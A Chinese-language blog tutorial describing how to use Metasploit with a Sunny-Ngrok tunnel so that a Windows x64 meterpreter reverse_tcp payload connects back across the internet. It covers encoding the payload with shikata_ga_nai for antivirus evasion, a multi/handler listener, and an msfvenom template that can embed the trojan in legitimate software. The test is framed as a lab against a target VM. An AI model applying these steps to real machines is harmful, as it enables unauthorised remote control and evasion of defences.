metasploit实现payload在外网中连接

网上大多数metasploit教程均在内网环境下完成,而内网IP和公网IP完全不一样,公网IP由网络提供商为我们动态分配,也就意味着目标离开了局域网,我们就无法查找渗透目标。本次测试使用了Sunny-Ngrok内网穿透工具,这就使得目标主机上的反射型木马能够通过隧道连接到我们的主机,来达到稳定控制的效果。

本次测试使用的靶机为Windows机器,攻击主机为kali Linux机器。

 

一、内网穿透

内网穿透,即NAT穿透,网络连接时术语,计算机是局域网内时,外网与内网的计算机节点需要连接通信,有时就会出现不支持内网穿透。就是说映射端口,能让外网的电脑找到处于内网的电脑,提高下载速度。不管是内网穿透还是其他类型的网络穿透,都是网络穿透的统一方法来研究和解决,这里不多做介绍,有需要的自行查找资料。(https://baike.baidu.com/item/%E5%86%85%E7%BD%91%E7%A9%BF%E9%80%8F/8597835?fr=aladdin)。

1、首先我们查看kali的IP配置,使用ifconfig命令可以看到eth0网卡的ip地址是10.0.2.15.

2、我们选择Sunny-Ngrok内网穿透工具,并开通隧道;记住这里的隧道id、隧道端口、和服务器地址,我们在生成payload的时候会使用到。

3、接下来启动隧道,按照Sunny-Ngrok网站的指示,我们使用命令./sunny clientid <隧道id>启动隧道,这里的隧道id即为图二中的隧道id:

二、payload生成

1、我们首先查找合适的payload。如何选择payload呢?首先得确定我们的攻击目标也就是靶机的信息,在这里我们使用的是Windows虚拟机,目标已经很明确了;我们使用search命令筛选出含有Windows/x64的payload,也就是适合64位Windows的payload。由于我们开通的隧道为TCP连接,所以最终我们选择payload/windows/x64/meterpreter/reverse_tcp这个攻击载荷,意思是适用于64位Windows系统的反射型木马,采用TCP连接,关于meterpreter大家可以自行了解。

2、设置payload部分,先用use命令进入到这个payload模块中,使用show options命令查看需要设置的参数有哪些,在这里我们可以看到需要设置的有两项即主机的地址和端口,由于我们使用了隧道来进行连接,所以地址这里我们设置为隧道的服务器地址,端口设置为隧道的端口,再使用generate命令查看该payload的shellcode。当然,直接生成的shellcode基本都是不可用的,这里需要根据payload选择合适的encoder来进行编码。

3、使用encoder编码器实现免杀,使用show encoders命令,metasploit会自动列出适合当前payload的encoder,我们可以在看到Rank列有多个级别,我们选择较好的excellent级别的x86/shikata_ga_nai编码器来进行编码实现免杀,同时编码器也可以剔除坏字符如'\x00'之类的,这里不过多讲述。

4、生成payload,同样使用命令generate -e <encoder> -i <编码次数> -f <生成文件>

三、连接

使用use命令进入到multi/handler模块下,设置payload为刚刚选择的windows/x64/meterpreter/reverse_tcp,设置主机地址为本机地址,主机端口为本机使用的端口,最后输入exploit命令进行探测等待连接,若目标机器执行我们的payload,我们的metasploit则会立刻获取目标靶机的shell,即获得靶机的控制权。

四、总结

在本次测试中,生成的payload是做过免杀处理的,然而用viruscan检测时仍有杀软引擎能够检测出危险,证明该木马仍有被识破的风险。

在生成payload时切记要使用合适的encoder进行编码以达到免杀的目的,同时切记要进行坏字符的剔除。还要切记指定生成文件格式为exe,当然亦可以指定其他的生成格式如dll,elf等,根据自己选择的payload设置。

生成payload的另一种方式:在terminal中直接输入:

msfvenom -p <payload> LHOST=<ip> LPORT=<端口> -e <encoder> -i <编码次数> -x <软件模板(可根据该模板生成有同样功能的木马,为可选项)> -f <生成文件的格式> -o <生成文件名(可包含路径)>

 

  • 6
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值